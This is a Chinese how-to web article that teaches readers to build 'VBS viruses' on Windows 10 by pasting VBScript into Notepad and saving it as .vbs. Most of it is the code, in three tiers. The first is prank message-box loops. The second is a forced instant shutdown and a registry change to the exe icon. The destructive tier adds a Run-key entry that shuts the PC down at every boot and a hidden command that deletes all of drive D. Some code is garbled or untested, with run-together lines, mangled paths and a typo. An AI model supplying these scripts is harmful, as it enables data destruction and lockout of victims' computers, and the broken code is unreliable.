w10如何制作vbs病毒？?
在平时的生活工作中，你们偶尔会无聊，因此就想搞点事情出来，于是有人就想制作vbs病毒，可是许多人不了解w10如何制作vbs病毒？为此主编赶紧整理了w10制作vbs病毒介绍，感兴致的伙伴可以来看看。

　　办法/步骤：

　　1、首先，打开记事本。

　　2、输入代码（整人级）：

1. 01'--------------------------------1-关不掉的窗口--------------------------------do while(1)MsgBox("哈哈，您关不掉我！")loop'--------------------------------------------------------------------------------'-----------------------------------2-输入“我是猪”--------------------------do while(a<>"我是猪")a=inputbox("快在下面的框里输入我是猪")if(a<>"我是猪") thenMsgBox("赶紧承认!!!")end ifloop'--------------------------------------------------------------------------------

复制代码

'--------------------------------1-关不掉的窗口--------------------------------do while(1)MsgBox("哈哈，您关不掉我！")loop'--------------------------------------------------------------------------------'-----------------------------------2-输入“我是猪”--------------------------do while(a<>"我是猪")a=inputbox("快在下面的框里输入我是猪")if(a<>"我是猪") thenMsgBox("赶紧承认!!!")end ifloop'--------------------------------------------------------------------------------

　　3、（中等）：

1. 01'--------------------------------3-即可关机------------------------------------dim wsset ws=Createobject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'-------------------------------4-改exe图标------------------------------------dim operationRegistryset operationRegistry=wscript.Createobject("wscript.shell")operationRegistry.Regwrite "HKCR/exefile/defaulticon/","C:/win/system32/imageres.dll,-2" '这里的C:/win/system32/imageres.dll,-2可以改成任意路径'--------------------------------------------------------------------------------

复制代码

'--------------------------------3-即可关机------------------------------------dim wsset ws=Createobject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'-------------------------------4-改exe图标------------------------------------dim operationRegistryset operationRegistry=wscript.Createobject("wscript.shell")operationRegistry.Regwrite "HKCR/exefile/defaulticon/","C:/win/system32/imageres.dll,-2" '这里的C:/win/system32/imageres.dll,-2可以改成任意路径'--------------------------------------------------------------------------------

　　4、（破坏级）如果无法还原，不要怪我咯*_*：

1. 01'------!!注意危险!! 5-开机一完毕就关机(计算机无法使用) !!注意危险!!----------dim fsodim wsset fso=Createobject("scripting.Filesystemobject")set ws=Createobject("wscript.shell")set f=fso.getfile(wscript.scriptfullname)ws.regwrite "HKCu/software/Microsoft/win/CurrentVersion/Run/"&f.name,f.pathset ws=Createobject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'----------!!注意危险!! 6-格式化d盘(d盘下所有文件被删除) !!注意危险!!-------dim wsset ws=Createobject("wscript.shell")ws.Run "%Comspec% /c"&"Rd /s /Q d:/",0,ture'--------------------------------------------------------------------------------

复制代码

'------!!注意危险!! 5-开机一完毕就关机(计算机无法使用) !!注意危险!!----------dim fsodim wsset fso=Createobject("scripting.Filesystemobject")set ws=Createobject("wscript.shell")set f=fso.getfile(wscript.scriptfullname)ws.regwrite "HKCu/software/Microsoft/win/CurrentVersion/Run/"&f.name,f.pathset ws=Createobject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'----------!!注意危险!! 6-格式化d盘(d盘下所有文件被删除) !!注意危险!!-------dim wsset ws=Createobject("wscript.shell")ws.Run "%Comspec% /c"&"Rd /s /Q d:/",0,ture'--------------------------------------------------------------------------------

　　如果代码有问题，无法实现应有效果，请原谅。（一些vbs破坏性太强，我不敢实验）

　　5、保存：按下Ctrl+s快捷键，在弹出的窗口中选择文件类型：所有文件（*.*），在文件名处输入文件名，在文件名后面输入“.vbs”或“.vbe”，保存。

　　注意事项：

　　这些代码仅用于整人，不可以利用这些代码做违法的事情！

　　上述便是w10如何制作vbs病毒的介绍了，很容易吧，你们只需要新建记事本，之后粘贴文章的代码，最后保存为.vbs或者.vbe格式的文件直接。